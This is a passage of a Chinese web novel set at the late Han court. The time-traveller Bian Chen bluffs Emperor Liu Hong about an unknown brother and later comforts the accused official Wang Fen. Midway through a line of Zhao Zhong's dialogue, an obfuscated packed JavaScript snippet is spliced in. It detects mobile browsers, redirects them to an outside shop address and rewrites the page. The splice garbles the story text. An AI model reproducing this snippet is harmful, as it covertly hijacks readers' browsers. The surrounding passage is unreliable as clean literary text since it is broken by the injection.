因为穿越仓促,形势紧急,边谌对原主知之甚少。除了冯方等人言谈中透露的官职与姓名,再无其他。 他根本不知道原主几岁,更不知道原主家里有哪一号人。 什么胞弟,什么大将军帐下,他知道个鬼。 至于姓边的三国人物,边谌只知道一个—— 边让。 边让是名士,同样在大将军何进的手下任过职,听起来,似乎能与他的“胞弟”重叠。 然而,边谌无法保证原主的弟弟就是边让本人,而不是什么边甲,边乙。 极其寻常的一个问题,对边谌而言竟成了死路。 一丝冷汗从手心渗出,边谌握住掌心,平静地回复:“正是。” 他只简单回复了两个字,一副不愿多说的模样。 刘宏却并未放弃追问:“不知你这位胞弟是个怎样的人?” 一个素未谋面的存在,该怎么回答? 边谌的呼吸凝滞了一瞬,旋即,他抬起头,不偏不倚地对上刘宏的注视。 “臣之胞弟,有鸿才,偏生恃才傲物、逞意妄为。臣与他并不相熟。” 在这样的情境下,“贬损”是相对稳妥的回答。 他不知道原主的弟弟是哪一号人,随意评价只会出错。既然如此,那就故意“出错”。 如此贬低对方,旁人会以为他与兄弟关系不睦,或者因为自己犯事,故意疏远兄弟,避免牵连对方。 反正,该怎么解读,由刘宏这群人自由决定。 退一万步说,即使真的中了大奖,他的“胞弟”就是边让,这句“恃才傲物、逞意妄为”也算不上假话。 毕竟,史书上的边让就是因为性格高傲、出言不逊,而被曹操灭了全家。 听了边谌的回答,刘宏似有些意外,并未多说什么。 倒是穿着胡服的大宦官赵忠不阴不阳地刺了句: “民间传言:‘边氏双才,英才俊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182711|196912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟,天授之资’,未曾想到,所谓的名士,竟也和俗人一样,免不了相互轻贱、彼此攻讦的祸心。” “张常侍谬赞。” 边谌自动过滤所有的坏话,唇角蔓开一丝笑意, “天子面前,岂敢说假话?栩之所言,句句真切,无半分伪饰。” 没想到他在这个时候还笑得出来,刘宏敛去虚假的笑意,认认真真地打量、端视。 赵忠观察着皇帝的反应,咽下喉口的讽刺,低眉不语。 “句句真切?无半分伪饰?”刘宏意味不明地喃喃,再看向边谌时,眼中多了一分锋锐, “你倒是与那位郭小吏一样,虚实难辨,难以琢磨。” 郭小吏? 听到这个称谓,边谌骤然想起宫门口遇到的那位青年。 无品级的吏官,又正巧在今日出入宫廷。刘宏口中的“郭小吏”,应当就是他。 刘宏没有再与边谌闲谈,转向了神思不属的王芬: “王刺史,听闻你的长子体弱,常年在家休养——年逾三十,方才得了一子,如珠似宝?” 王芬根本不敢喝手中这杯珍贵的柘浆,手指紧紧攥着,快把酒杯的纹饰盘出包浆。 听到刘宏的询问,他紧紧握住玉杯的边缘,指节泛着青紫: “承蒙陛下挂念……确实如此。” “刺史子嗣不丰,诸子早亡。倒是长子,虽体弱多病,却有福泽。” 刘宏走到王芬身前,轻轻拍抚他的肩, “爱卿应当顾念子嗣,莫要做出无法挽回的错事。” 咣当一声。 王芬手中的玉杯跌落,他白着脸,缓缓俯身,稽首: “臣御前无状,犯了不测之罪,可是臣绝无谋逆之心——” “刺史。” 刘宏冷眼看着这位鬓角花白,年近六十的老臣伏地请罪,没有任何波澜, “请起吧。” 仅仅几句话的功夫,刘宏脸上就多了些疲态: “二位赶路多日,必然也累了,先去章台殿的偏室休息。其余的,明日再提。” 从始至终,刘宏都没有说到谋反二字,也没有提起检举者的姓名。 然而,对于王芬来说,刘宏的行为就像慢而钝的锈刀,不致命,却让他浑身颤栗。 边谌将这一切看在眼中,隐隐生出不详的预感。 不久,两人被带出德阳殿,分开软禁。 在软禁前,借着换衣净手的功夫,边谌与王芬二人终于得到了短暂交谈的机会。 “使君勿忧。若天子手握铁证,或铁了心要诛杀你我,就不会亲自召见,更不会与我们说这么多。” “多谢边郎。唉……只怪我心绪难定,不得其法,反倒拖累了你。” “使君客气。唇亡齿寒,还请使君多多保重。” 王芬苦着脸摇头,半晌,低声询问:“边郎可曾后悔?” 边谌不知道王芬指的是什么,将问题抛还给王芬: “使君可曾后悔?” “我不后悔。” 王芬盯着长有灰斑,褶皱不堪的手,嘴角嗫动, “边郎可还记得那一日?你我站在漳水边,在坍塌的水堤下游见到了尸海。” 边谌蓦然一愣。 “成千上万的流民死在洪水中,余留的幸存者等着官府救济,你我冒死放出冀州境内的所有官粮,却还是不足。上书陈情,却始终不能得到朝廷的援护。” 中平五年,大河沿岸出现洪灾,水出四野,漂没民居。 “我只恨,大汉如此昏颓,而我竟无半点余力——非但没有成事,还被昏君捉捕,更连累家人。” 所有话语戛然而止,王芬望着窗外的夕阳,摇头叹息。 他迈步走向耳房的大门,还未走出几步,就被身后之人抓住。 “使君。” 抓着他的那只手冰冷而僵硬,力道之大,几乎要刻入骨中。 “留存性命,才有拨云见月的那一日。” 门外传来些许动静,边谌松了手,后退一步。 “若就此轻生,岂非认了这一项罪名?使君的家人,怕也难以保全。” 王芬后背一震,久久未言。 时间有限,两人不再言语,待换上宫中备好的衣袍,就此分离。 第二天一早,边谌被小黄门带往宣明殿,在云龙门迎面遇上一人。 那人中等身量,比身旁的小黄门矮小半节,头戴武弁大冠,腰负佩剑,系着银印青绶。 为边谌领路的小黄门当即行礼:“曹将军。” 边谌停下脑中纷杂的念头,看向眼前一副武官装扮的中年男子。 曹将军?